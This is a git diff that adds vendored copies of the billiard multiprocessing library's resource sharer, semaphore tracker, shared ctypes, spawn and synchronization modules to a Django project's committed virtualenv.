a/django_lottopy/lib/python3.10/site-packages/billiard/resource_sharer.py b/django_lottopy/lib/python3.10/site-packages/billiard/resource_sharer.py new file mode 100644 index 00000000..e10f6cdd --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/resource_sharer.py @@ -0,0 +1,163 @@ +# +# We use a background thread for sharing fds on Unix, and for sharing +# sockets on Windows. +# +# A client which wants to pickle a resource registers it with the resource +# sharer and gets an identifier in return. The unpickling process will connect +# to the resource sharer, sends the identifier and its pid, and then receives +# the resource. +# +from __future__ import absolute_import + +import os +import signal +import socket +import sys +import threading + +from . import process +from . import reduction +from . import util + +__all__ = ['stop'] + + +if sys.platform == 'win32': + __all__ += ['DupSocket'] + + class DupSocket(object): + '''Picklable wrapper for a socket.''' + + def __init__(self, sock): + new_sock = sock.dup() + + def send(conn, pid): + share = new_sock.share(pid) + conn.send_bytes(share) + self._id = _resource_sharer.register(send, new_sock.close) + + def detach(self): + '''Get the socket. This should only be called once.''' + with _resource_sharer.get_connection(self._id) as conn: + share = conn.recv_bytes() + return socket.fromshare(share) + +else: + __all__ += ['DupFd'] + + class DupFd(object): + '''Wrapper for fd which can be used at any time.''' + def __init__(self, fd): + new_fd = os.dup(fd) + + def send(conn, pid): + reduction.send_handle(conn, new_fd, pid) + + def close(): + os.close(new_fd) + self._id = _resource_sharer.register(send, close) + + def detach(self): + '''Get the fd. This should only be called once.''' + with _resource_sharer.get_connection(self._id) as conn: + return reduction.recv_handle(conn) + + +class _ResourceSharer(object): + '''Manager for resouces using background thread.''' + def __init__(self): + self._key = 0 + self._cache = {} + self._old_locks = [] + self._lock = threading.Lock() + self._listener = None + self._address = None + self._thread = None + util.register_after_fork(self, _ResourceSharer._afterfork) + + def register(self, send, close): + '''Register resource, returning an identifier.''' + with self._lock: + if self._address is None: + self._start() + self._key += 1 + self._cache[self._key] = (send, close) + return (self._address, self._key) + + @staticmethod + def get_connection(ident): + '''Return connection from which to receive identified resource.''' + from .connection import Client + address, key = ident + c = Client(address, authkey=process.current_process().authkey) + c.send((key, os.getpid())) + return c + + def stop(self, timeout=None): + '''Stop the background thread and clear registered resources.''' + from .connection import Client + with self._lock: + if self._address is not None: + c = Client(self._address, + authkey=process.current_process().authkey) + c.send(None) + c.close() + self._thread.join(timeout) + if self._thread.is_alive(): + util.sub_warning('_ResourceSharer thread did ' + 'not stop when asked') + self._listener.close() + self._thread = None + self._address = None + self._listener = None + for key, (send, close) in self._cache.items(): + close() + self._cache.clear() + + def _afterfork(self): + for key, (send, close) in self._cache.items(): + close() + self._cache.clear() + # If self._lock was locked at the time of the fork, it may be broken + # -- see issue 6721. Replace it without letting it be gc'ed. + self._old_locks.append(self._lock) + self._lock = threading.Lock() + if self._listener is not None: + self._listener.close() + self._listener = None + self._address = None + self._thread = None + + def _start(self): + from .connection import Listener + assert self._listener is None + util.debug('starting listener and thread for sending handles') + self._listener = Listener(authkey=process.current_process().authkey) + self._address = self._listener.address + t = threading.Thread(target=self._serve) + t.daemon = True + t.start() + self._thread = t + + def _serve(self): + if hasattr(signal, 'pthread_sigmask'): + signal.pthread_sigmask(signal.SIG_BLOCK, range(1, signal.NSIG)) + while 1: + try: + with self._listener.accept() as conn: + msg = conn.recv() + if msg is None: + break + key, destination_pid = msg + send, close = self._cache.pop(key) + try: + send(conn, destination_pid) + finally: + close() + except: + if not util.is_exiting(): + sys.excepthook(*sys.exc_info()) + + +_resource_sharer = _ResourceSharer() +stop = _resource_sharer.stop diff --git a/django_lottopy/lib/python3.10/site-packages/billiard/semaphore_tracker.py b/django_lottopy/lib/python3.10/site-packages/billiard/semaphore_tracker.py new file mode 100644 index 00000000..d1388bb9 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/semaphore_tracker.py @@ -0,0 +1,147 @@ +# +# On Unix we run a server process which keeps track of unlinked +# semaphores. The server ignores SIGINT and SIGTERM and reads from a +# pipe. Every other process of the program has a copy of the writable +# end of the pipe, so we get EOF when all other processes have exited. +# Then the server process unlinks any remaining semaphore names. +# +# This is important because the system only supports a limited number +# of named semaphores, and they will not be automatically removed till +# the next reboot. Without this semaphore tracker process, "killall +# python" would probably leave unlinked semaphores. +# +from __future__ import absolute_import + +import io +import os +import signal +import sys +import threading +import warnings +from ._ext import _billiard + +from . import spawn +from . import util + +from .compat import spawnv_passfds + +__all__ = ['ensure_running', 'register', 'unregister'] + + +class SemaphoreTracker(object): + + def __init__(self): + self._lock = threading.Lock() + self._fd = None + + def getfd(self): + self.ensure_running() + return self._fd + + def ensure_running(self): + '''Make sure that semaphore tracker process is running. + + This can be run from any process. Usually a child process will use + the semaphore created by its parent.''' + with self._lock: + if self._fd is not None: + return + fds_to_pass = [] + try: + fds_to_pass.append(sys.stderr.fileno()) + except Exception: + pass + cmd = 'from billiard.semaphore_tracker import main;main(%d)' + r, w = os.pipe() + try: + fds_to_pass.append(r) + # process will out live us, so no need to wait on pid + exe = spawn.get_executable() + args = [exe] + util._args_from_interpreter_flags() + args += ['-c', cmd % r] + spawnv_passfds(exe, args, fds_to_pass) + except: + os.close(w) + raise + else: + self._fd = w + finally: + os.close(r) + + def register(self, name): + '''Register name of semaphore with semaphore tracker.''' + self._send('REGISTER', name) + + def unregister(self, name): + '''Unregister name of semaphore with semaphore tracker.''' + self._send('UNREGISTER', name) + + def _send(self, cmd, name): + self.ensure_running() + msg = '{0}:{1}\n'.format(cmd, name).encode('ascii') + if len(name) > 512: + # posix guarantees that writes to a pipe of less than PIPE_BUF + # bytes are atomic, and that PIPE_BUF >= 512 + raise ValueError('name too long') + nbytes = os.write(self._fd, msg) + assert nbytes == len(msg) + + +_semaphore_tracker = SemaphoreTracker() +ensure_running = _semaphore_tracker.ensure_running +register = _semaphore_tracker.register +unregister = _semaphore_tracker.unregister +getfd = _semaphore_tracker.getfd + + +def main(fd): + '''Run semaphore tracker.''' + # protect the process from ^C and "killall python" etc + signal.signal(signal.SIGINT, signal.SIG_IGN) + signal.signal(signal.SIGTERM, signal.SIG_IGN) + + for f in (sys.stdin, sys.stdout): + try: + f.close() + except Exception: + pass + + cache = set() + try: + # keep track of registered/unregistered semaphores + with io.open(fd, 'rb') as f: + for line in f: + try: + cmd, name = line.strip().split(b':') + if cmd == b'REGISTER': + cache.add(name) + elif cmd == b'UNREGISTER': + cache.remove(name) + else: + raise RuntimeError('unrecognized command %r' % cmd) + except Exception: + try: + sys.excepthook(*sys.exc_info()) + except: + pass + finally: + # all processes have terminated; cleanup any remaining semaphores + if cache: + try: + warnings.warn('semaphore_tracker: There appear to be %d ' + 'leaked semaphores to clean up at shutdown' % + len(cache)) + except Exception: + pass + for name in cache: + # For some reason the process which created and registered this + # semaphore has failed to unregister it. Presumably it has died. + # We therefore unlink it. + try: + name = name.decode('ascii') + try: + _billiard.sem_unlink(name) + except Exception as e: + warnings.warn('semaphore_tracker: %r: %s' % (name, e)) + finally: + pass diff --git a/django_lottopy/lib/python3.10/site-packages/billiard/sharedctypes.py b/django_lottopy/lib/python3.10/site-packages/billiard/sharedctypes.py new file mode 100644 index 00000000..97675df4 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/sharedctypes.py @@ -0,0 +1,260 @@ +# +# Module which supports allocation of ctypes objects from shared memory +# +# multiprocessing/sharedctypes.py +# +# Copyright (c) 2006-2008, R Oudkerk +# Licensed to PSF under a Contributor Agreement. +# +from __future__ import absolute_import + +import ctypes +import sys +import weakref + +from . import heap +from . import get_context +from .context import assert_spawning +from .five import int_types +from .reduction import ForkingPickler + +__all__ = ['RawValue', 'RawArray', 'Value', 'Array', 'copy', 'synchronized'] + +PY3 = sys.version_info[0] == 3 + +typecode_to_type = { + 'c': ctypes.c_char, 'u': ctypes.c_wchar, + 'b': ctypes.c_byte, 'B': ctypes.c_ubyte, + 'h': ctypes.c_short, 'H': ctypes.c_ushort, + 'i': ctypes.c_int, 'I': ctypes.c_uint, + 'l': ctypes.c_long, 'L': ctypes.c_ulong, + 'f': ctypes.c_float, 'd': ctypes.c_double +} + + +def _new_value(type_): + size = ctypes.sizeof(type_) + wrapper = heap.BufferWrapper(size) + return rebuild_ctype(type_, wrapper, None) + + +def RawValue(typecode_or_type, *args): + ''' + Returns a ctypes object allocated from shared memory + ''' + type_ = typecode_to_type.get(typecode_or_type, typecode_or_type) + obj = _new_value(type_) + ctypes.memset(ctypes.addressof(obj), 0, ctypes.sizeof(obj)) + obj.__init__(*args) + return obj + + +def RawArray(typecode_or_type, size_or_initializer): + ''' + Returns a ctypes array allocated from shared memory + ''' + type_ = typecode_to_type.get(typecode_or_type, typecode_or_type) + if isinstance(size_or_initializer, int_types): + type_ = type_ * size_or_initializer + obj = _new_value(type_) + ctypes.memset(ctypes.addressof(obj), 0, ctypes.sizeof(obj)) + return obj + else: + type_ = type_ * len(size_or_initializer) + result = _new_value(type_) + result.__init__(*size_or_initializer) + return result + + +def Value(typecode_or_type, *args, **kwds): + ''' + Return a synchronization wrapper for a Value + ''' + lock = kwds.pop('lock', None) + ctx = kwds.pop('ctx', None) + if kwds: + raise ValueError( + 'unrecognized keyword argument(s): %s' % list(kwds.keys())) + obj = RawValue(typecode_or_type, *args) + if lock is False: + return obj + if lock in (True, None): + ctx = ctx or get_context() + lock = ctx.RLock() + if not hasattr(lock, 'acquire'): + raise AttributeError("'%r' has no method 'acquire'" % lock) + return synchronized(obj, lock, ctx=ctx) + + +def Array(typecode_or_type, size_or_initializer, **kwds): + ''' + Return a synchronization wrapper for a RawArray + ''' + lock = kwds.pop('lock', None) + ctx = kwds.pop('ctx', None) + if kwds: + raise ValueError( + 'unrecognized keyword argument(s): %s' % list(kwds.keys())) + obj = RawArray(typecode_or_type, size_or_initializer) + if lock is False: + return obj + if lock in (True, None): + ctx = ctx or get_context() + lock = ctx.RLock() + if not hasattr(lock, 'acquire'): + raise AttributeError("'%r' has no method 'acquire'" % lock) + return synchronized(obj, lock, ctx=ctx) + + +def copy(obj): + new_obj = _new_value(type(obj)) + ctypes.pointer(new_obj)[0] = obj + return new_obj + + +def synchronized(obj, lock=None, ctx=None): + assert not isinstance(obj, SynchronizedBase), 'object already synchronized' + ctx = ctx or get_context() + + if isinstance(obj, ctypes._SimpleCData): + return Synchronized(obj, lock, ctx) + elif isinstance(obj, ctypes.Array): + if obj._type_ is ctypes.c_char: + return SynchronizedString(obj, lock, ctx) + return SynchronizedArray(obj, lock, ctx) + else: + cls = type(obj) + try: + scls = class_cache[cls] + except KeyError: + names = [field[0] for field in cls._fields_] + d = dict((name, make_property(name)) for name in names) + classname = 'Synchronized' + cls.__name__ + scls = class_cache[cls] = type(classname, (SynchronizedBase,), d) + return scls(obj, lock, ctx) + +# +# Functions for pickling/unpickling +# + + +def reduce_ctype(obj): + assert_spawning(obj) + if isinstance(obj, ctypes.Array): + return rebuild_ctype, (obj._type_, obj._wrapper, obj._length_) + else: + return rebuild_ctype, (type(obj), obj._wrapper, None) + + +def rebuild_ctype(type_, wrapper, length): + if length is not None: + type_ = type_ * length + ForkingPickler.register(type_, reduce_ctype) + if PY3: + buf = wrapper.create_memoryview() + obj = type_.from_buffer(buf) + else: + obj = type_.from_address(wrapper.get_address()) + obj._wrapper = wrapper + return obj + +# +# Function to create properties +# + + +def make_property(name): + try: + return prop_cache[name] + except KeyError: + d = {} + exec(template % ((name, ) * 7), d) + prop_cache[name] = d[name] + return d[name] + + +template = ''' +def get%s(self): + self.acquire() + try: + return self._obj.%s + finally: + self.release() +def set%s(self, value): + self.acquire() + try: + self._obj.%s = value + finally: + self.release() +%s = property(get%s, set%s) +''' + +prop_cache = {} +class_cache = weakref.WeakKeyDictionary() + +# +# Synchronized wrappers +# + + +class SynchronizedBase(object): + + def __init__(self, obj, lock=None, ctx=None): + self._obj = obj + if lock: + self._lock = lock + else: + ctx = ctx or get_context(force=True) + self._lock = ctx.RLock() + self.acquire = self._lock.acquire + self.release = self._lock.release + + def __enter__(self): + return self._lock.__enter__() + + def __exit__(self, *args): + return self._lock.__exit__(*args) + + def __reduce__(self): + assert_spawning(self) + return synchronized, (self._obj, self._lock) + + def get_obj(self): + return self._obj + + def get_lock(self): + return self._lock + + def __repr__(self): + return '<%s wrapper for %s>' % (type(self).__name__, self._obj) + + +class Synchronized(SynchronizedBase): + value = make_property('value') + + +class SynchronizedArray(SynchronizedBase): + + def __len__(self): + return len(self._obj) + + def __getitem__(self, i): + with self: + return self._obj[i] + + def __setitem__(self, i, value): + with self: + self._obj[i] = value + + def __getslice__(self, start, stop): + with self: + return self._obj[start:stop] + + def __setslice__(self, start, stop, values): + with self: + self._obj[start:stop] = values + + +class SynchronizedString(SynchronizedArray): + value = make_property('value') + raw = make_property('raw') diff --git a/django_lottopy/lib/python3.10/site-packages/billiard/spawn.py b/django_lottopy/lib/python3.10/site-packages/billiard/spawn.py new file mode 100644 index 00000000..ac34c5d8 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/spawn.py @@ -0,0 +1,390 @@ +# +# Code used to start processes when using the spawn or forkserver +# start methods. +# +# multiprocessing/spawn.py +# +# Copyright (c) 2006-2008, R Oudkerk +# Licensed to PSF under a Contributor Agreement. +# +from __future__ import absolute_import + +import io +import os +import pickle +import sys +import runpy +import types +import warnings + +from . import get_start_method, set_start_method +from . import process +from . import util + +__all__ = ['_main', 'freeze_support', 'set_executable', 'get_executable', + 'get_preparation_data', 'get_command_line', 'import_main_path'] + +W_OLD_DJANGO_LAYOUT = """\ +Will add directory %r to path! This is necessary to accommodate \ +pre-Django 1.4 layouts using setup_environ. +You can skip this warning by adding a DJANGO_SETTINGS_MODULE=settings \ +environment variable. +""" + +# +# _python_exe is the assumed path to the python executable. +# People embedding Python want to modify it. +# + +if sys.platform != 'win32': + WINEXE = False + WINSERVICE = False +else: + WINEXE = (sys.platform == 'win32' and getattr(sys, 'frozen', False)) + WINSERVICE = sys.executable.lower().endswith("pythonservice.exe") + +if WINSERVICE: + _python_exe = os.path.join(sys.exec_prefix, 'python.exe') +else: + _python_exe = sys.executable + + +def _module_parent_dir(mod): + dir, filename = os.path.split(_module_dir(mod)) + if dir == os.curdir or not dir: + dir = os.getcwd() + return dir + + +def _module_dir(mod): + if '__init__.py' in mod.__file__: + return os.path.dirname(mod.__file__) + return mod.__file__ + + +def _Django_old_layout_hack__save(): + if 'DJANGO_PROJECT_DIR' not in os.environ: + try: + settings_name = os.environ['DJANGO_SETTINGS_MODULE'] + except KeyError: + return # not using Django. + + conf_settings = sys.modules.get('django.conf.settings') + configured = conf_settings and conf_settings.configured + try: + project_name, _ = settings_name.split('.', 1) + except ValueError: + return # not modified by setup_environ + + project = __import__(project_name) + try: + project_dir = os.path.normpath(_module_parent_dir(project)) + except AttributeError: + return # dynamically generated module (no __file__) + if configured: + warnings.warn(UserWarning( + W_OLD_DJANGO_LAYOUT % os.path.realpath(project_dir) + )) + os.environ['DJANGO_PROJECT_DIR'] = project_dir + + +def _Django_old_layout_hack__load(): + try: + sys.path.append(os.environ['DJANGO_PROJECT_DIR']) + except KeyError: + pass + + +def set_executable(exe): + global _python_exe + _python_exe = exe + + +def get_executable(): + return _python_exe + +# +# +# + + +def is_forking(argv): + ''' + Return whether commandline indicates we are forking + ''' + if len(argv) >= 2 and argv[1] == '--billiard-fork': + return True + else: + return False + + +def freeze_support(): + ''' + Run code for process object if this in not the main process + ''' + if is_forking(sys.argv): + kwds = {} + for arg in sys.argv[2:]: + name, value = arg.split('=') + if value == 'None': + kwds[name] = None + else: + kwds[name] = int(value) + spawn_main(**kwds) + sys.exit() + + +def get_command_line(**kwds): + ''' + Returns prefix of command line used for spawning a child process + ''' + if getattr(sys, 'frozen', False): + return ([sys.executable, '--billiard-fork'] + + ['%s=%r' % item for item in kwds.items()]) + else: + prog = 'from billiard.spawn import spawn_main; spawn_main(%s)' + prog %= ', '.join('%s=%r' % item for item in kwds.items()) + opts = util._args_from_interpreter_flags() + return [_python_exe] + opts + ['-c', prog, '--billiard-fork'] + + +def spawn_main(pipe_handle, parent_pid=None, tracker_fd=None): + ''' + Run code specified by data received over pipe + ''' + assert is_forking(sys.argv) + if sys.platform == 'win32': + import msvcrt + from .reduction import steal_handle + new_handle = steal_handle(parent_pid, pipe_handle) + fd = msvcrt.open_osfhandle(new_handle, os.O_RDONLY) + else: + from . import semaphore_tracker + semaphore_tracker._semaphore_tracker._fd = tracker_fd + fd = pipe_handle + exitcode = _main(fd) + sys.exit(exitcode) + + +def _setup_logging_in_child_hack(): + # Huge hack to make logging before Process.run work. + try: + os.environ["MP_MAIN_FILE"] = sys.modules["__main__"].__file__ + except KeyError: + pass + except AttributeError: + pass + loglevel = os.environ.get("_MP_FORK_LOGLEVEL_") + logfile = os.environ.get("_MP_FORK_LOGFILE_") or None + format = os.environ.get("_MP_FORK_LOGFORMAT_") + if loglevel: + from . import util + import logging + logger = util.get_logger() + logger.setLevel(int(loglevel)) + if not logger.handlers: + logger._rudimentary_setup = True + logfile = logfile or sys.__stderr__ + if hasattr(logfile, "write"): + handler = logging.StreamHandler(logfile) + else: + handler = logging.FileHandler(logfile) + formatter = logging.Formatter( + format or util.DEFAULT_LOGGING_FORMAT, + ) + handler.setFormatter(formatter) + logger.addHandler(handler) + + +def _main(fd): + _Django_old_layout_hack__load() + with io.open(fd, 'rb', closefd=True) as from_parent: + process.current_process()._inheriting = True + try: + preparation_data = pickle.load(from_parent) + prepare(preparation_data) + _setup_logging_in_child_hack() + self = pickle.load(from_parent) + finally: + del process.current_process()._inheriting + return self._bootstrap() + + +def _check_not_importing_main(): + if getattr(process.current_process(), '_inheriting', False): + raise RuntimeError(''' + An attempt has been made to start a new process before the + current process has finished its bootstrapping phase. + + This probably means that you are not using fork to start your + child processes and you have forgotten to use the proper idiom + in the main module: + + if __name__ == '__main__': + freeze_support() + ... + + The "freeze_support()" line can be omitted if the program + is not going to be frozen to produce an executable.''') + + +def get_preparation_data(name): + ''' + Return info about parent needed by child to unpickle process object + ''' + _check_not_importing_main() + d = dict( + log_to_stderr=util._log_to_stderr, + authkey=process.current_process().authkey, + ) + + if util._logger is not None: + d['log_level'] = util._logger.getEffectiveLevel() + + sys_path = sys.path[:] + try: + i = sys_path.index('') + except ValueError: + pass + else: + sys_path[i] = process.ORIGINAL_DIR + + d.update( + name=name, + sys_path=sys_path, + sys_argv=sys.argv, + orig_dir=process.ORIGINAL_DIR, + dir=os.getcwd(), + start_method=get_start_method(), + ) + + # Figure out whether to initialise main in the subprocess as a module + # or through direct execution (or to leave it alone entirely) + main_module = sys.modules['__main__'] + try: + main_mod_name = main_module.__spec__.name + except AttributeError: + main_mod_name = main_module.__name__ + if main_mod_name is not None: + d['init_main_from_name'] = main_mod_name + elif sys.platform != 'win32' or (not WINEXE and not WINSERVICE): + main_path = getattr(main_module, '__file__', None) + if main_path is not None: + if (not os.path.isabs(main_path) and + process.ORIGINAL_DIR is not None): + main_path = os.path.join(process.ORIGINAL_DIR, main_path) + d['init_main_from_path'] = os.path.normpath(main_path) + + return d + +# +# Prepare current process +# + + +old_main_modules = [] + + +def prepare(data): + ''' + Try to get current process ready to unpickle process object + ''' + if 'name' in data: + process.current_process().name = data['name'] + + if 'authkey' in data: + process.current_process().authkey = data['authkey'] + + if 'log_to_stderr' in data and data['log_to_stderr']: + util.log_to_stderr() + + if 'log_level' in data: + util.get_logger().setLevel(data['log_level']) + + if 'sys_path' in data: + sys.path = data['sys_path'] + + if 'sys_argv' in data: + sys.argv = data['sys_argv'] + + if 'dir' in data: + os.chdir(data['dir']) + + if 'orig_dir' in data: + process.ORIGINAL_DIR = data['orig_dir'] + + if 'start_method' in data: + set_start_method(data['start_method']) + + if 'init_main_from_name' in data: + _fixup_main_from_name(data['init_main_from_name']) + elif 'init_main_from_path' in data: + _fixup_main_from_path(data['init_main_from_path']) + +# Multiprocessing module helpers to fix up the main module in +# spawned subprocesses + + +def _fixup_main_from_name(mod_name): + # __main__.py files for packages, directories, zip archives, etc, run + # their "main only" code unconditionally, so we don't even try to + # populate anything in __main__, nor do we make any changes to + # __main__ attributes + current_main = sys.modules['__main__'] + if mod_name == "__main__" or mod_name.endswith(".__main__"): + return + + # If this process was forked, __main__ may already be populated + try: + current_main_name = current_main.__spec__.name + except AttributeError: + current_main_name = current_main.__name__ + + if current_main_name == mod_name: + return + + # Otherwise, __main__ may contain some non-main code where we need to + # support unpickling it properly. We rerun it as __mp_main__ and make + # the normal __main__ an alias to that + old_main_modules.append(current_main) + main_module = types.ModuleType("__mp_main__") + main_content = runpy.run_module(mod_name, + run_name="__mp_main__", + alter_sys=True) + main_module.__dict__.update(main_content) + sys.modules['__main__'] = sys.modules['__mp_main__'] = main_module + + +def _fixup_main_from_path(main_path): + # If this process was forked, __main__ may already be populated + current_main = sys.modules['__main__'] + + # Unfortunately, the main ipython launch script historically had no + # "if __name__ == '__main__'" guard, so we work around that + # by treating it like a __main__.py file + # See https://github.com/ipython/ipython/issues/4698 + main_name = os.path.splitext(os.path.basename(main_path))[0] + if main_name == 'ipython': + return + + # Otherwise, if __file__ already has the setting we expect, + # there's nothing more to do + if getattr(current_main, '__file__', None) == main_path: + return + + # If the parent process has sent a path through rather than a module + # name we assume it is an executable script that may contain + # non-main code that needs to be executed + old_main_modules.append(current_main) + main_module = types.ModuleType("__mp_main__") + main_content = runpy.run_path(main_path, + run_name="__mp_main__") + main_module.__dict__.update(main_content) + sys.modules['__main__'] = sys.modules['__mp_main__'] = main_module + + +def import_main_path(main_path): + ''' + Set sys.modules['__main__'] to module at main_path + ''' + _fixup_main_from_path(main_path) diff --git a/django_lottopy/lib/python3.10/site-packages/billiard/synchronize.py b/django_lottopy/lib/python3.10/site-packages/billiard/synchronize.py new file mode 100644 index 00000000..b97fbfb5 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/billiard/synchronize.py @@ -0,0 +1,437 @@ +# +# Module implementing synchronization primitives +# +# multiprocessing/synchronize.py +# +# Copyright (c) 2006-2008, R Oudkerk +# Licensed to PSF under a Contributor Agreement. +# +from __future__ import absolute_import + +import errno +import sys +import tempfile +import threading + +from . import context +from . import process +from . import util + +from ._ext import _billiard, ensure_SemLock +from .five import range, monotonic + +__all__ = [ + 'Lock', 'RLock', 'Semaphore', 'BoundedSemaphore', 'Condition', 'Event', +] + +# Try to import the mp.synchronize module cleanly, if it fails +# raise ImportError for platforms lacking a working sem_open implementation. +# See issue 3770 +ensure_SemLock() + +# +# Constants +# + +RECURSIVE_MUTEX, SEMAPHORE = list(range(2)) +SEM_VALUE_MAX = _billiard.SemLock.SEM_VALUE_MAX + +try: + sem_unlink = _billiard.SemLock.sem_unlink +except AttributeError: # pragma: no cover + try: + # Py3.4+ implements sem_unlink and the semaphore must be named + from _multiprocessing import sem_unlink # noqa + except ImportError: + sem_unlink = None # noqa + +# +# Base class for semaphores and mutexes; wraps `_billiard.SemLock` +# + + +def _semname(sl): + try: + return sl.name + except AttributeError: + pass + + +class SemLock(object): + _rand = tempfile._RandomNameSequence() + + def __init__(self, kind, value, maxvalue, ctx=None): + if ctx is None: + ctx = context._default_context.get_context() + name = ctx.get_start_method() + unlink_now = sys.platform == 'win32' or name == 'fork' + if sem_unlink: + for i in range(100): + try: + sl = self._semlock = _billiard.SemLock( + kind, value, maxvalue, self._make_name(), unlink_now, + ) + except (OSError, IOError) as exc: + if getattr(exc, 'errno', None) != errno.EEXIST: + raise + else: + break + else: + exc = IOError('cannot find file for semaphore') + exc.errno = errno.EEXIST + raise exc + else: + sl = self._semlock = _billiard.SemLock(kind, value, maxvalue) + + util.debug('created semlock with handle %s', sl.handle) + self._make_methods() + + if sem_unlink: + + if sys.platform != 'win32': + def _after_fork(obj): + obj._semlock._after_fork() + util.register_after_fork(self, _after_fork) + + if _semname(self._semlock) is not None: + # We only get here if we are on Unix with forking + # disabled. When the object is garbage collected or the + # process shuts down we unlink the semaphore name + from .semaphore_tracker import register + register(self._semlock.name) + util.Finalize(self, SemLock._cleanup, (self._semlock.name,), + exitpriority=0) + + @staticmethod + def _cleanup(name): + from .semaphore_tracker import unregister + sem_unlink(name) + unregister(name) + + def _make_methods(self): + self.acquire = self._semlock.acquire + self.release = self._semlock.release + + def __enter__(self): + return self._semlock.__enter__() + + def __exit__(self, *args): + return self._semlock.__exit__(*args) + + def __getstate__(self): + context.assert_spawning(self) + sl = self._semlock + if sys.platform == 'win32': + h = context.get_spawning_popen().duplicate_for_child(sl.handle) + else: + h = sl.handle + state = (h, sl.kind, sl.maxvalue) + try: + state += (sl.name, ) + except AttributeError: + pass + return state + + def __setstate__(self, state): + self._semlock = _billiard.SemLock._rebuild(*state) + util.debug('recreated blocker with handle %r', state[0]) + self._make_methods() + + @staticmethod + def _make_name(): + return '%s-%s' % (process.current_process()._config['semprefix'], + next(SemLock._rand)) + + +class Semaphore(SemLock): + + def __init__(self, value=1, ctx=None): + SemLock.__init__(self, SEMAPHORE, value, SEM_VALUE_MAX, ctx=ctx) + + def get_value(self): + return self._semlock._get_value() + + def __repr__(self): + try: + value = self._semlock._get_value() + except Exception: + value = 'unknown' + return '<%s(value=%s)>' % (self.__class__.__name__, value) + + +class BoundedSemaphore(Semaphore): + + def __init__(self, value=1, ctx=None): + SemLock.__init__(self, SEMAPHORE, value, value, ctx=ctx) + + def __repr__(self): + try: + value = self._semlock._get_value() + except Exception: + value = 'unknown' + return '<%s(value=%s, maxvalue=%s)>' % ( + self.__class__.__name__, value, self._semlock.maxvalue) + + +class Lock(SemLock): + ''' + Non-recursive lock. + ''' + + def __init__(self, ctx=None): + SemLock.__init__(self, SEMAPHORE, 1, 1, ctx=ctx) + + def __repr__(self): + try: + if self._semlock._is_mine(): + name = process.current_process().name + if threading.current_thread().name != 'MainThread': + name += '|' + threading.current_thread().name + elif self._semlock._get_value() == 1: + name = 'None' + elif self._semlock._count() > 0: + name = 'SomeOtherThread' + else: + name = 'SomeOtherProcess' + except Exception: + name = 'unknown' + return '<%s(owner=%s)>' % (self.__class__.__name__, name) + + +class RLock(SemLock): + ''' + Recursive lock + ''' + + def __init__(self, ctx=None): + SemLock.__init__(self, RECURSIVE_MUTEX, 1, 1, ctx=ctx) + + def __repr__(self): + try: + if self._semlock._is_mine(): + name = process.current_process().name + if threading.current_thread().name != 'MainThread': + name += '|' + threading.current_thread().name + count = self._semlock._count() + elif self._semlock._get_value() == 1: + name, count = 'None', 0 + elif self._semlock._count() > 0: + name, count = 'SomeOtherThread', 'nonzero' + else: + name, count = 'SomeOtherProcess', 'nonzero' + except Exception: + name, count = 'unknown', 'unknown' + return '<%s(%s, %s)>' % (self.__class__.__name__, name, count) + + +class Condition(object): + ''' + Condition variable + ''' + + def __init__(self, lock=None, ctx=None): + assert ctx + self._lock = lock or ctx.RLock() + self._sleeping_count = ctx.Semaphore(0) + self._woken_count = ctx.Semaphore(0) + self._wait_semaphore = ctx.Semaphore(0) + self._make_methods() + + def __getstate__(self): + context.assert_spawning(self) + return (self._lock, self._sleeping_count, + self._woken_count, self._wait_semaphore) + + def __setstate__(self, state): + (self._lock, self._sleeping_count, + self._woken_count, self._wait_semaphore) = state + self._make_methods() + + def __enter__(self): + return self._lock.__enter__() + + def __exit__(self, *args): + return self._lock.__exit__(*args) + + def _make_methods(self): + self.acquire = self._lock.acquire + self.release = self._lock.release + + def __repr__(self): + try: + num_waiters = (self._sleeping_count._semlock._get_value() - + self._woken_count._semlock._get_value()) + except Exception: + num_waiters = 'unknown' + return '<%s(%s, %s)>' % ( + self.__class__.__name__, self._lock, num_waiters) + + def wait(self, timeout=None): + assert self._lock._semlock._is_mine(), \ + 'must acquire() condition before using wait()' + + # indicate that this thread is going to sleep + self._sleeping_count.release() + + # release lock + count = self._lock._semlock._count() + for i in range(count): + self._lock.release() + + try: + # wait for notification or timeout + return self._wait_semaphore.acquire(True, timeout) + finally: + # indicate that this thread has woken + self._woken_count.release() + + # reacquire lock + for i in range(count): + self._lock.acquire() + + def notify(self): + assert self._lock._semlock._is_mine(), 'lock is not owned' + assert not self._wait_semaphore.acquire(False) + + # to take account of timeouts since last notify() we subtract + # woken_count from sleeping_count and rezero woken_count + while self._woken_count.acquire(False): + res = self._sleeping_count.acquire(False) + assert res + + if self._sleeping_count.acquire(False): # try grabbing a sleeper + self._wait_semaphore.release() # wake up one sleeper + self._woken_count.acquire() # wait for sleeper to wake + + # rezero _wait_semaphore in case a timeout just happened + self._wait_semaphore.acquire(False) + + def notify_all(self): + assert self._lock._semlock._is_mine(), 'lock is not owned' + assert not self._wait_semaphore.acquire(False) + + # to take account of timeouts since last notify*() we subtract + # woken_count from sleeping_count and rezero woken_count + while self._woken_count.acquire(False): + res = self._sleeping_count.acquire(False) + assert res + + sleepers = 0 + while self._sleeping_count.acquire(False): + self._wait_semaphore.release() # wake up one sleeper + sleepers += 1 + + if sleepers: + for i in range(sleepers): + self._woken_count.acquire() # wait for a sleeper to wake + + # rezero wait_semaphore in case some timeouts just happened + while self._wait_semaphore.acquire(False): + pass + + def wait_for(self, predicate, timeout=None): + result = predicate() + if result: + return result + if timeout is not None: + endtime = monotonic() + timeout + else: + endtime = None + waittime = None + while not result: + if endtime is not None: + waittime = endtime - monotonic() + if waittime <= 0: + break + self.wait(waittime) + result = predicate() + return result + + +class Event(object): + + def __init__(self, ctx=None): + assert ctx + self._cond = ctx.Condition(ctx.Lock()) + self._flag = ctx.Semaphore(0) + + def is_set(self): + with self._cond: + if self._flag.acquire(False): + self._flag.release() + return True + return False + + def set(self): + with self._cond: + self._flag.acquire(False) + self._flag.release() + self._cond.notify_all() + + def clear(self): + with self._cond: + self._flag.acquire(False) + + def wait(self, timeout=None): + with self._cond: + if self._flag.acquire(False): + self._flag.release() + else: + self._cond.wait(timeout) + + if self._flag.acquire(False): + self._flag.release() + return True + return False + +# 